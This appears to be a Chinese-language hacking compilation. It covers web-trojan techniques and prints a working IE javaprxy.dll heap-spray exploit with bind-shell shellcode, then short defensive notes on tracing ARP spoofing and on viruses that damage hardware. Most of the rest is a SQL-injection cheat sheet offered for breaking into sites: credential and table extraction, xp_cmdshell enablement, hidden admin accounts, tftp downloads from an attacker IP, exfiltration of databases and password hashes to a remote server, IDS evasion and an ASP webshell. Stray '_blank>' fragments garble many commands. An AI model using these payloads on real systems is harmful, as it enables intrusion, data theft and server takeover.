(8).黑客程序可以修改用户计算机中的HOSTS文件,将特定域名的IP地址设置成自己的虚假网站的地址,用户访问这些网站时,机器会从 HOSTS文件中获得对应的IP。除了上面的方法外,更为隐蔽和目前常用的攻击手法是,攻击者首先攻破一个正常的网站,然后修改网站的代码,通过跳转语句或嵌入JS脚本的手段,来改造一个挂马的网站,这样当用户点击了包含正常网站的URL时,是不会有戒备心理的,更容易造成更大的损失。
2.通过ActiveX控件制作网页木马。
通过 ActiveX 把普通的软件转化为可以在主页直接执行的软件的网页木马,此类网页木马对所有的系统和IE版本都有效,缺点是浏览网页木马时会弹出对话框,询问是否安装此插件。病毒作者通常是伪造微软、新浪、Google等知名公司的签名,伪装成它们的插件来迷惑用户。
3.利用WSH的缺陷
利用WSH修改注册表,使IE安全设置中“没有标记为安全的的activex控件和插件”的默认设置改为启用,然后再利用一些可以在本地运行EXE程序的网页代码来运行病毒。它的危害在于,可以利用IE的安全漏洞提升权限达到本地运行任意程序的后果。
4.利用MIME漏洞制做的网页木马。
它利用了Microsoft Internet Explorer中MIME/BASE64处理的漏洞,MIME(Multipurpose Internet Mail Extentions),一般译作“多用途的网络邮件扩充协议”。顾名思义,它可以传送多媒体文件,在一封电子邮件中附加各种格式文件一起送出。现在它已经演化成一种指定文件类型(Internet的任何形式的消息:E-mail,Usenet新闻和Web)的通用方法。在使用CGI程序时你可能接触过 MIME类型,其中有一行叫作Content-type的语句,它用来指明传递的就是MIME类型的文件(如text/html或 text/plain)。MIME在处理不正常的MIME类型时存在一个问题,攻击者可以创建一个Html格式的E-mail,该E-mail的附件为可执行文件,通过修改MIME头,使IE不能正确处理这个MIME所指定的可执行文件附件。IE处理附件的方式:一般情况下如果附件是文本文件,IE会读取文件,如果是VIDEO CLIP,IE会查看文件;如果附件是图形文件,IE就会显示文件;如果附件是一个EXE文件呢?IE会提示用户是否执行,但当攻击者更改MIME类型后,IE就不再提示用户是否执行而直接运行该附件。从而使攻击者加在附件中的程序,攻击命令能够按照攻击者设想的情况进行。在Win9X\ME以及 WinNT4和Win2000下的Internet Explorer 5.0、5.01、5.5均存在该漏洞,微软邮件客户端软件Outlook Express也存在此漏洞。
5.利用系统的图片处理漏洞
这是种只要浏览图片就可以传播的网页木马。这种木马是把一个EXE文件伪装成一个BMP或JPG图片文件,在网页中添加如 <img src="love.bmp" >的代码来欺骗IE自动下载,然后利用网页中的Java Script脚本查找客户端的Internet临时文件夹,寻找下载的BMP格式文件,把它拷贝到TEMP目录.再利用脚本把找到的BMP文件用 DEBUG还原成EXE,并添加到注册表启动项中,达到随系统的目的。
6.HTML文件木马
首先利用工具把EXE格式的文件转化成HTML文件的木马,这样.EXE文件看起来就变成了Htm文件,欺骗访问者访问假冒的Htm文件从而达到运行病毒的目的。它和BMP网页木马运用了同一个原理,也会利用JAVASCRIPT脚本和debug程序来转换回EXE文件。
7.Hta木马
Hta网页木马,是利用Internet Explorer Object Data(MS03-032)漏洞制作的网页木马,此漏洞是因为Internet Explorer在处理对象"Object"标记时没有正确处理要被装载的文件参数。("Object"标记用于插入ActiveX组件等对象到HTML 页面。"Object"标记的"Type"属性用于设置或获取对象的MIME类型。通常合法MIME类型包括"plain/text"或 "application/hta", "audio/x-mpeg"等。)Internet Explorer指定远程对象数据位置的参数没有充分检查被装载的文件属性,攻击者可以构建恶意页面,诱使用户访问来运行恶意页面指定的程序 。
8.利用CHM格式漏洞。
这种网页木马首先创建一个Htm文件,包含如下代码:<OBJECT NAME='X' CLASSID='CLSID:11111111-1111-1111-1111-111111111123' wight =0 height =0 CODEBASE='x.exe'>然后用电子书制作工具将包含名为x.exe的病毒文件该文件的文件夹编译成CHM文档。新建一个包含如下代码的 Htm文件。
<title>hello</title>
<textarea id="code" style="display:none;" >
<object data="&#109;s-its:mhtml:file://C:\foo.mht!${lhxy}/x.chm::/x.htm" type="text/x-scriptlet"></object>
</textarea>
<script language="javascript">
document.write(code.value.replace(/\${lhxy}/g,location.href.substring(0,location.href.indexOf('mm.htm'))));
</script>
就达到了调用挂病毒的目的。
9.IFRAME溢出
IE IFRAME漏洞利用了MS05020中提到的IE溢出漏洞, IE在处理iframe标签的时候,会调用一个叫作SHDOCVW!CBaseBrowser2::SetFramName函数来进行unicode copy(wcscpy),在拷贝iframe的name时,没有进行边界检查,构造恶意的代码就会导致IE的溢出。IE产生溢出错误后,可能会被黑客利用打开电脑中某个端口。当微软的IE窗口打开另一个窗口时,如果子窗口是另一个域或安全区的话,安全检查应当阻止父窗口访问子窗口。但事实并非如此,父窗口可以访问子窗口文档的frame,这可能导致父窗口无论是域或安全区都能在子窗口中设置Frame或IFrame的URL。这会带来严重的安全问题,通过设置URL指向Javascript协议,父窗口能在子域环境下运行脚本代码,包括任意的恶意代码。攻击者也能在“我的电脑”区域中运行脚本代码。这更会造成严重的后果。
10. Microsoft Internet Explorer Javaprxy.DLL COM对象堆溢出漏洞
Microsoft Internet Explorer存在一个堆溢出漏洞。当一个恶意的网页实例化'javaprxy.dll' COM对象时,可能导致堆溢出,成功利用该漏洞能够在客户端上下载执行任意代码。其测试代码如下:
<!--
注:这个漏洞利用代码是用PERL脚本生成的可用HTM网页文件,以网页形式保存,打开后如果执行成功,将会监听28876端口
-->
<html><body>
<SCRIPT language="javascript">
shellcode = unescape("%u4343"+"%u4343"+"%u43eb%u5756%u458b%u8b3c%u0554%u0178%u52ea%u528b%u0120%u31ea%u31c0%u41c9%u348b%u018a%u31ee%uc1ff%u13cf%u01ac%u85c7%u75c0%u39f6%u75df%u5aea%u5a8b%u0124%u66eb%u0c8b%u8b4b%u1c5a%ueb01%u048b%u018b%u5fe8%uff5e%ufce0%uc031%u8b64%u3040%u408b%u8b0c%u1c70%u8bad%u0868%uc031%ub866%u6c6c%u6850%u3233%u642e%u7768%u3273%u545f%u71bb%ue8a7%ue8fe%uff90%uffff%uef89%uc589%uc481%ufe70%uffff%u3154%ufec0%u40c4%ubb50%u7d22%u7dab%u75e8%uffff%u31ff%u50c0%u5050%u4050%u4050%ubb50%u55a6%u7934%u61e8%uffff%u89ff%u31c6%u50c0%u3550%u0102%ucc70%uccfe%u8950%u50e0%u106a%u5650%u81bb%u2cb4%ue8be%uff42%uffff%uc031%u5650%ud3bb%u58fa%ue89b%uff34%uffff%u6058%u106a%u5054%ubb56%uf347%uc656%u23e8%uffff%u89ff%u31c6%u53db%u2e68%u6d63%u8964%u41e1%udb31%u5656%u5356%u3153%ufec0%u40c4%u5350%u5353%u5353%u5353%u5353%u6a53%u8944%u53e0%u5353%u5453%u5350%u5353%u5343%u534b%u5153%u8753%ubbfd%ud021%ud005%udfe8%ufffe%u5bff%uc031%u5048%ubb53%ucb43%u5f8d%ucfe8%ufffe%u56ff%uef87%u12bb%u6d6b%ue8d0%ufec2%uffff%uc483%u615c%u89eb");
bigblock = unescape("%u0D0D%u0D0D");
headersize = 20;
slackspace = headersize+shellcode.length
while (bigblock.length<slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x40000) block = block+block+fillblock;
memory = new Array();
for (i=0;i<750;i++) memory[i] = block + shellcode;
</SCRIPT>
<object classid="CLSID:03D9F3F2-B0E3-11D2-B081-006008039BF0"></object>
Microsoft Internet Explorer javaprxy.dll COM Object Remote Exploit

快速找到ARP病毒源

第一招:使用Sniffer抓包  在网络内任意一台主机上运行抓包软件,捕获所有到达本机的数据包。如果发现有某个IP不断发送请求包,那么这台电脑一般就是病毒源。原理:无论何种ARP病毒变种,行为方式有两种,一是欺骗网关,二是欺骗网内的所有主机。最终的结果是,在网关的ARP缓存表中,网内所有活动主机的MAC地址均为中毒主机的MAC地址;网内所有主机的ARP缓存表中,网关的MAC地址也成为中毒主机的MAC地址。前者保证了从网关到网内主机的数据包被发到中毒主机,后者相反,使得主机发往网关的数据包均发送到中毒主机。
第二招:使用arp -a命令 任意选两台不能上网的主机,在DOS命令窗口下运行arp -a命令。例如在结果中,两台电脑除了网关的IP,MAC地址对应项,都包含了192.168.0.186的这个IP,则可以断定192.168.0.186这台主机就是病毒源。原理:一般情况下,网内的主机只和网关通信。正常情况下,一台主机的ARP缓存中应该只有网关的MAC地址。如果有其他主机的MAC地址,说明本地主机和这台主机最后有过数据通信发生。如果某台主机(例如上面的192.168.0.186)既不是网关也不是服务器,但和网内的其他主机都有通信活动,且此时又是ARP病毒发作时期,那么,病毒源也就是它了。
第三招:使用tracert命令  在任意一台受影响的主机上,在DOS命令窗口下运行如下命令:tracert 61.135.179.148。 假定设置的缺省网关为10.8.6.1,在跟踪一个外网地址时,第一跳却是10.8.6.186,那么,10.8.6.186就是病毒源。原理:中毒主机在受影响主机和网关之间,扮演了“中间人”的角色。所有本应该到达网关的数据包,由于错误的MAC地址,均被发到了中毒主机。此时,中毒主机越俎代庖,起了缺省网关的作用。

病毒破坏硬件有七大损招

病毒破坏硬件的“手段”,一般有以下几种:
 
1.破坏显示器
众所周知,每台显示器都有自已的带宽和最高分辨率、场频。早期生产的14英寸彩色显示器,带宽大约只有35-45MHz,对应的最高分辩率为1024×768@60Hz场频;目前的14英寸彩色显示器,带宽大都有60MHz,对应的最高分辨率为1024×768@75Hz场频;15英寸彩色显示器(高档的),带宽有110MHz,对应的最高分辨率为1280×1024@85Hz场频。大家可以查看一下显示器的说明书,上面都有场频与最高分辨率的配合。若其中有一项超过,就会出现花屏,严重了就会烧坏显示器。病毒可以通过篡改显示参数来破坏显示器(如把分辨率、场院频改到显卡能支持的最高档等)。虽然新型显示器有DDC标准化与系统联络,但病毒想钻空子并不难。所以大家如果发现在使用过程中显示器出现了花屏,要立即关掉显示器的电源,重新启动后进入安全模式再找原因。
 
2.超外频、加电压破坏CPU、显卡、内存等
目前新型主板采用“软跳线”的越来越多,这正好给病毒以可乘之机。所谓“软跳线”是指在BIOS中就能改动CPU的电压、外频和倍频。病毒可以通过改BIOS参数,加高CPU电压使其过热而烧坏,或提高CPU的外频,使CPU和显卡、内存等外设超负荷工作而过热烧坏。这类事件的前兆就是死机。所以,如果发现机器经常死机,就要赶紧到CMOS中看看以上参数是否有改动。可喜的是,目前很多主板都有CPU温度监测功能,超温后立即降频报警,可以基本杜绝烧坏硬件的情况发生。
 
3.超“显频”破坏显卡
目前很多中高档显卡等都可以手动改变其芯片的频率,并且改的方法更简单:在Windows注册表里改。病毒改动了“显频”,显卡也就容易超负荷工作而烧坏。这种事件的前兆也是死机。所以,死机时也不要忽视对“显频”的检查。另外还有一种减少烧坏显卡的可能性的办法,那就是……(什么?你已经安了两个风扇了!?)
 
4.破坏光驱
光驱中的光头在读不到信号时就会加大激光发射功率,这样长期下去对光驱的寿命极为不利。有人做实验,让正常的光驱不停的读取一张划痕很多,信号较弱的光盘,28小时以后光驱就完蛋了。病毒可以让光头走到盘片边缘无信号区域不停的读盘,结果光头读不到信号,便加大发射功率不停地读,要不了几天,光驱就要“No Disc”了。所以要经常注意光驱灯的闪亮情况,判断光驱是否在正常工作。
 
5.破坏主板、显卡的Flash BIOS
这就是现在的CIH病毒破坏主板的方式。病毒用乱码冲掉了BIOS中的内容,使机器不能启动。不过现在很多主板都有带有FlashBIOS写保护跳线,可以有效的防止CIH病毒破坏主板。但是不要忘了,很多显卡也有FlashBIOS,说不定哪一天就会冒出一种破坏显卡BIOS的病毒。所以还是小心一点为好,这可没有什么特效药啊。
 
6.破坏硬盘
大家都知道,分区、高级格式化对硬盘都没有什么损伤,惟独低级格式化对硬盘的寿命有较大的影响。据说硬盘做上10次低级格式化就会报废。如果出现一种病毒,不停的对硬盘的0磁道做低格式化(做10次最多只需用几秒钟!),0道坏了再做1道……你的硬盘容量就会一点一点(这一点好不小啊!)地被蚕食,而且0、1、2……道坏了,要想再使用该硬盘,就得在BIOS中重新设定起始磁道,再低级格式化,非常麻烦。
其实,该病毒有一个非常简单而有效的预防方法,那就是将BIOS中的Boot SectorVirusProtection(引导区病毒写保护)设为Enable(打开)。笔者做过实验,将上述开关打开的情况下,使用各种低级格式化软件(包括BIOS中自带的)对硬盘进行低格,BIOS都会报警(报告说有程序企图重写引导区,问是否继续),按N就可以防止。要知道BIOS程序掌管着系统的最高控制权,应该没有什么东西可以冲破其防线(你按Y是另外一回事)。若发现上述情况,赶紧Reset,然后进行杀毒不过,如果你是在装Win98等操作系统或SystemCommander等软件时碰到该情况,就大可不必理会它,困为这些软件安装时都有要重写引导区。不过劝你安装这些软件时最好先把写保护关掉,否则容易出现死机现象!
 
7.浪费喷墨打印机的墨水
喷墨打印机的喷头特别容易堵塞,为此打印机公司特别发明了专门浪费墨水的“清洗喷头”功能,即让大量墨水冲出喷头,清除杂物。这项功能可以用软件控制实现,于是乎病毒便神不知鬼不觉的一次次调用该功能,而你却对打印机的呻吟声却听而不见。当你发现时,大量的墨已经被浪费了。这种病毒唯一的预防办法就是……不用打印机时把打印机关了。其实,只要你常注意一下打印机上的模式灯就可以了,清洗喷头时它通常是一闪闪的。另外还要仔细倾听它的呻吟声,清洗喷头时打印头总是要来回走动几下的(为了加热)。

入侵网站常用语句

1.判断有无注入点
; and 1=1 and 1=2


2.猜表一般的表的名称无非是admin adminuser user pass password 等..
and 0<>(select count(*) from *)
and 0<>(select count(*) from admin) ---判断是否存在admin这张表


3.猜帐号数目 如果遇到0< 返回正确页面 1<返回错误页面说明帐号数目就是1个
and 0<(select count(*) from admin)
and 1<(select count(*) from admin)


4.猜解字段名称 在len( ) 括号里面加上我们想到的字段名称.
and 1=(select count(*) from admin where len(*) >0)--
and 1=(select count(*) from admin where len(用户字段名称name)>0)
and 1=(select count(*) from admin where len(_blank>密码字段名称password)>0)


5.猜解各个字段的长度 猜解长度就是把>0变换 直到返回正确页面为止
and 1=(select count(*) from admin where len(*)>0)
and 1=(select count(*) from admin where len(name)>6) 错误
and 1=(select count(*) from admin where len(name)>5) 正确 长度是6
and 1=(select count(*) from admin where len(name)=6) 正确
and 1=(select count(*) from admin where len(password)>11) 正确
and 1=(select count(*) from admin where len(password)>12) 错误 长度是12
and 1=(select count(*) from admin where len(password)=12) 正确


6.猜解字符
and 1=(select count(*) from admin where left(name,1)=a) ---猜解用户帐号的第一位
and 1= (select count(*) from admin where left(name,2)=ab)---猜解用户帐号的第二位
就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了
and 1=(select top 1 count(*) from Admin where Asc(mid (pass,5,1))=51) --
这个查询语句可以猜解中文的用户和_blank>密码.只要把后面的数字换成中文的ASSIC码就OK.最后把结果再转换成字符.


group by users.id having 1=1--
group by users.id, users.username, users.password, users.privs having 1= 1--
; insert into users values( 666, attacker, foobar, 0xffff )--
UNION SELECT TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS WHERE TABLE_blank> _NAME=logintable-
UNION SELECT TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS WHERE TABLE_blank>_NAME=logintable WHERE COLUMN_blank>_NAME NOT IN (login_blank>_id)-
UNION SELECT TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS WHERE TABLE_blank>_NAME=logintable WHERE COLUMN_blank>_NAME NOT IN (login_blank>_id,login_blank>_name)-
UNION SELECT TOP 1 login_blank> _name FROM logintable-
UNION SELECT TOP 1 password FROM logintable where login_blank>_name=Rahul--


看_blank>服务器打的补丁=出错了打了SP4补丁
and 1=(select @@VERSION)--


看_blank>数据库连接账号的权限,返回正常,证明是_blank>服务器角色sysadmin权限。
and 1=(SELECT IS_blank>_SRVROLEMEMBER(sysadmin))--


判断连接_blank>数据库帐号。(采用SA账号连接 返回正常=证明了连接账号是SA)
and sa=(SELECT System_blank>_user)--
and user_blank>_name()=dbo--
and 0<>(select user_blank>_name()--


看xp_blank>_cmdshell是否删除
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = X AND name = xp_blank>_cmdshell)--


xp_blank>_cmdshell被删除,恢复,支持绝对路径的恢复
;EXEC master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,xplog70.dll--
;EXEC master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,c: \inetpub\wwwroot\xplog70.dll--


反向PING自己实验
;use master;declare @s int;exec sp_blank>_oacreate "wscript.shell",@s out;exec sp_blank>_oamethod @s,"run",NULL,"cmd.exe /c ping 192.168.0.1";--


加帐号
;DECLARE @shell INT EXEC SP_blank>_OACREATE wscript.shell,@shell OUTPUT EXEC SP_blank> _OAMETHOD @shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add--


创建一个虚拟目录E盘:
;declare @o int exec sp_blank>_oacreate wscript.shell, @o out exec sp_blank>_oamethod @o, run, NULL, cscript.exe c:\inetpub\wwwroot\mkwebdir.vbs -w "默认Web站点" -v "e","e: \"--


访问属性:(配合写入一个webshell)
declare @o int exec sp_blank>_oacreate wscript.shell, @o out exec sp_blank>_oamethod @o, run, NULL, cscript.exe c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse


爆库 特殊_blank>技巧::%5c=\ 或者把/和\ 修改%5提交
and 0< >(select top 1 paths from newtable)--


得到库名(从1到5都是系统的id,6以上才可以判断)
and 1=(select name from master.dbo.sysdatabases where dbid=7)--
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)


依次提交 dbid = 7,8,9.... 得到更多的_blank>数据库名
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U) 暴到一个表 假设为 admin
and 0 <>(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in (Admin)) 来得到其他的表。
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin
and uid>(str (id))) 暴到UID的数值假设为18779569 uid=id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569) 得到一个admin的一个字段,假设为 user_blank>_id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569 and name not in
(id,...)) 来暴出其他的字段
and 0<(select user_blank>_id from BBS.dbo.admin where username>1) 可以得到用户名


依次可以得到_blank>密码。。。。。假设存在user_blank>_id username ,password 等字段
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
and 0<> (select top 1 name from bbs.dbo.sysobjects where xtype=U) 得到表名
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in(Address))
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin and uid>(str(id))) 判断id值
and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794) 所有字段
?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin
?id=-1 union select 1,2,3,4,5,6,7,8, *,9,10,11,12,13 from admin (union,access也好用)


得到WEB路径
;create table [dbo].[swap] ([swappass][char](255));--
and (select top 1 swappass from swap)=1--
;CREATE TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec master..xp_blank>_regread @rootkey=HKEY_blank>_LOCAL_blank>_MACHINE, @key=SYSTEM\CurrentControlSet \Services\W3SVC\Parameters\Virtual Roots\, @value_blank>_name=/,values=@testOUTPUT insert into paths (path) values(@test)--
;use ku1;--
;create table cmd (str image);-- 建立image类型的表cmd


存在xp_blank>_cmdshell的测试过程:
;exec master..xp_blank>_cmdshell dir
;exec master.dbo.sp_blank>_addlogin jiaoniang$;-- 加SQL帐号
;exec master.dbo.sp_blank>_password null,jiaoniang$,1866574;--
;exec master.dbo.sp_blank>_addsrvrolemember jiaoniang$ sysadmin;--
;exec master.dbo.xp_blank>_cmdshell net user jiaoniang$ 1866574 /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add;--
;exec master.dbo.xp_blank>_cmdshell net localgroup administrators jiaoniang$ /add;--
exec master..xp_blank> _servicecontrol start, schedule 启动_blank>服务
exec master..xp_blank>_servicecontrol start, server
; DECLARE @shell INT EXEC SP_blank>_OACREATE wscript.shell,@shell OUTPUT EXEC SP_blank>_OAMETHOD @shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add
;DECLARE @shell INT EXEC SP_blank>_OACREATE wscript.shell,@shell OUTPUT EXEC SP_blank>_OAMETHOD @shell,run,null, C:\WINNT\system32\cmd.exe /c net localgroup administrators jiaoniang$ /add
; exec master..xp_blank>_cmdshell tftp -i youip get file.exe-- 利用TFTP上传文件
;declare @a sysname set @a=xp_blank>_+cmdshell exec @a dir c:\
;declare @a sysname set @a=xp+_blank>_cm’+’dshell exec @a dir c:\
;declare @a;set @a=db_blank>_name();backup database @a to disk=你的IP你的共享目录bak.dat


如果被限制则可以。
select * from openrowset (_blank>sqloledb,server;sa;,select OK! exec master.dbo.sp_blank>_addlogin hax)


查询构造:
SELECT * FROM news WHERE id=... AND topic=... AND .....
adminand 1=(select count(*) from [user] where username=victim and right(left(userpass,01),1)=1) and userpass <>
select 123;--
;use master;--
:a or name like fff%;-- 显示有一个叫ffff的用户哈。
and 1<>(select count (email) from [user]);--
;update [users] set email=(select top 1 name from sysobjects where xtype=u and status>0) where name=ffff;--
;update [users] set email=(select top 1 id from sysobjects where xtype=u and name=ad) where name=ffff;--
;update [users] set email=(select top 1 name from sysobjects where xtype=u and id>581577110) where name=ffff;--
;update [users] set email=(select top 1 count(id) from password) where name=ffff;--
;update [users] set email=(select top 1 pwd from password where id=2) where name=ffff;--
;update [users] set email=(select top 1 name from password where id=2) where name=ffff;--
上面的语句是得到_blank>数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。


通过查看ffff的用户资料可得第一个用表叫ad
然后根据表名ad得到这个表的ID 得到第二个表的名字
insert into users values( 666, char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), char(0x63)+char (0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)--
insert into users values( 667,123,123,0xffff)--
insert into users values ( 123, admin--, password, 0xffff)--
;and user>0
;and (select count(*) from sysobjects)>0
;and (select count(*) from mysysobjects)>0 //为access_blank>数据库


枚举出数据表名
;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0);--


这是将第一个表名更新到aaa的字段处。
读出第一个表,第二个表可以这样读出来(在条件后加上 and name< >刚才得到的表名)。
;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0 and name<>vote);--
然后id=1552 and exists(select * from aaa where aaa>5)
读出第二个表,一个个的读出,直到没有为止。


读字段是这样:
;update aaa set aaa=(select top 1 col_blank>_name (object_blank>_id(表名),1));--
然后id=152 and exists(select * from aaa where aaa>5)出错,得到字段名
;update aaa set aaa=(select top 1 col_blank>_name(object_blank>_id(表名),2));--
然后id=152 and exists(select * from aaa where aaa>5)出错,得到字段名
[获得数据表名][将字段值更新为表名,再想法读出这个字段的值就可得到表名]
update 表名 set 字段=(select top 1 name from sysobjects where xtype=u and status>0 [ and name<>你得到的表名 查出一个加一个]) [ where 条件] select top 1 name from sysobjects where xtype=u and status>0 and name not in(table1,table2,…)
通过SQLSERVER注入_blank>漏洞建_blank>数据库管理员帐号和系统管理员帐号[当前帐号必须是SYSADMIN组]
[获得数据表字段名][将字段值更新为字段名,再想法读出这个字段的值就可得到字段名]
update 表名 set 字段= (select top 1 col_blank>_name(object_blank>_id(要查询的数据表名),字段列如:1) [ where 条件]
绕过IDS的检测[使用变量]
;declare @a sysname set @a=xp_blank>_+cmdshell exec @a dir c:\
;declare @a sysname set @a=xp+_blank>_cm’+’dshell exec @a dir c:\


1、 开启远程_blank>数据库
基本语法
select * from OPENROWSET(SQLOLEDB, server=servername;uid=sa;pwd=123, select * from table1 )
参数: (1) OLEDB Provider name


2、 其中连接字符串参数可以是任何端口用来连接,比如
select * from OPENROWSET(SQLOLEDB, uid=sa;pwd= 123;Network=DBMSSOCN;Address=192.168.0.1,1433;, select * from table


3.复制目标主机的整个_blank>数据库 insert所有远程表到本地表。

基本语法:
insert into OPENROWSET(SQLOLEDB, server=servername;uid=sa;pwd=123, select * from table1) select * from table2
这行语句将目标主机上table2表中的所有数据复制到远程_blank>数据库中的table1表中。实际运用中适当修改连接字符串的IP地址和端口,指向需要的地方,比如:
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address= 192.168.0.1,1433;,select * from table1) select * from table2
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd= 123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _blank>_sysdatabases)
select * from master.dbo.sysdatabases
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address= 192.168.0.1,1433;,select * from _blank>_sysobjects)
select * from user_blank> _database.dbo.sysobjects
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address= 192.168.0.1,1433;,select * from _blank>_syscolumns)
select * from user_blank> _database.dbo.syscolumns


复制_blank>数据库:
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd= 123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table1) select * from database..table1
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table2) select * from database..table2


复制哈西表(HASH)登录_blank>密码的hash存储于sysxlogins中。方法如下:
insert into OPENROWSET (SQLOLEDB, uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _blank>_sysxlogins) select * from database.dbo.sysxlogins


得到hash之后,就可以进行暴力破解。
遍历目录的方法: 先创建一个临时表:temp
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
;insert temp exec master.dbo.xp_blank>_availablemedia;-- 获得当前所有驱动器
;insert into temp(id) exec master.dbo.xp_blank>_subdirs c:\;-- 获得子目录列表
;insert into temp(id,num1) exec master.dbo.xp_blank>_dirtree c:\;-- 获得所有子目录的目录树结构,并寸入temp表中
;insert into temp(id) exec master.dbo.xp_blank>_cmdshell type c:\web\index.asp;-- 查看某个文件的内容
;insert into temp(id) exec master.dbo.xp_blank>_cmdshell dir c:\;--
;insert into temp(id) exec master.dbo.xp_blank>_cmdshell dir c:\ *.asp /s/a;--
;insert into temp(id) exec master.dbo.xp_blank> _cmdshell cscript. C:\Inetpub\AdminScripts\adsutil.vbs enum w3svc
;insert into temp(id,num1) exec master.dbo.xp_blank>_dirtree c:\;-- (xp_blank>_dirtree适用权限PUBLIC)


写入表:
语句1:and 1= (SELECT IS_blank>_SRVROLEMEMBER(sysadmin));--
语句2:and 1=(SELECT IS_blank>_SRVROLEMEMBER (serveradmin));--
语句3:and 1=(SELECT IS_blank>_SRVROLEMEMBER(setupadmin));--
语句4:and 1=(SELECT IS_blank>_SRVROLEMEMBER(securityadmin));--
语句5:and 1=(SELECT IS_blank>_SRVROLEMEMBER (securityadmin));--
语句6:and 1=(SELECT IS_blank>_SRVROLEMEMBER(diskadmin));--
语句7:and 1= (SELECT IS_blank>_SRVROLEMEMBER(bulkadmin));--
语句8:and 1=(SELECT IS_blank>_SRVROLEMEMBER (bulkadmin));--
语句9:and 1=(SELECT IS_blank>_MEMBER(db_blank>_owner));--


把路径写到表中去:
;create table dirs(paths varchar(100), id int)--
;insert dirs exec master.dbo.xp_blank>_dirtree c:\--
and 0<>(select top 1 paths from dirs)--
and 0<> (select top 1 paths from dirs where paths not in(@Inetpub))--
;create table dirs1(paths varchar(100), id int)--
;insert dirs exec master.dbo.xp_blank>_dirtree e:\web--
and 0<>(select top 1 paths from dirs1)--


把_blank>数据库备份到网页目录:下载
;declare @a sysname; set @a=db_blank>_name();backup database @a to disk=e:\web\down.bak;--
and 1=(Select top 1 name from(Select top 12 id,name from sysobjects where xtype=char(85)) T order by id desc)
and 1=(Select Top 1 col_blank>_name(object_blank>_id(USER_blank>_LOGIN),1) from sysobjects) 参看相关表。
and 1=(select user_blank>_id from USER_blank>_LOGIN)
and 0=(select user from USER_blank>_LOGIN where user>1)
-=- wscript.shell example -=-
declare @o int
exec sp_blank>_oacreate wscript.shell, @o out
exec sp_blank>_oamethod @o, run, NULL, notepad.exe
; declare @o int exec sp_blank>_oacreate wscript.shell, @o out exec sp_blank>_oamethod @o, run, NULL, notepad.exe--
declare @o int, @f int, @t int, @ret int
declare @line varchar(8000)
exec sp_blank>_oacreate scripting.filesystemobject, @o out
exec sp_blank>_oamethod @o, opentextfile, @f out, c:\boot.ini, 1
exec @ret = sp_blank>_oamethod @f, readline, @line out
while( @ret = 0 )
begin
print @line
exec @ret = sp_blank>_oamethod @f, readline, @line out
end
declare @o int, @f int, @t int, @ret int
exec sp_blank>_oacreate scripting.filesystemobject, @o out
exec sp_blank>_oamethod @o, createtextfile, @f out, c:\inetpub\wwwroot\foo.asp, 1
exec @ret = sp_blank>_oamethod @f, writeline, NULL,
<% set o = server.createobject("wscript.shell"): o.run( request.querystring("cmd") ) %>
declare @o int, @ret int
exec sp_blank>_oacreate speech.voicetext, @o out
exec sp_blank> _oamethod @o, register, NULL, foo, bar
exec sp_blank>_oasetproperty @o, speed, 150
exec sp_blank>_oamethod @o, speak, NULL, all your sequel servers are belong to,us, 528
waitfor delay 00:00:05
; declare @o int, @ret int exec sp_blank>_oacreate speech.voicetext, @o out exec sp_blank>_oamethod @o, register, NULL, foo, bar exec sp_blank>_oasetproperty @o, speed, 150 exec sp_blank>_oamethod @o, speak, NULL, all your sequel servers are belong to us, 528 waitfor delay 00:00:05--
xp_blank>_dirtree适用权限PUBLIC
exec master.dbo.xp_blank>_dirtree c:\


返回的信息有两个字段 subdirectory、depth。Subdirectory字段是字符型,depth字段是整形字段。
create table dirs(paths varchar(100), id int)


建表,这里建的表是和上面xp_blank>_dirtree相关连,字段相等、类型相同。
insert dirs exec master.dbo.xp_blank>_dirtree c:\


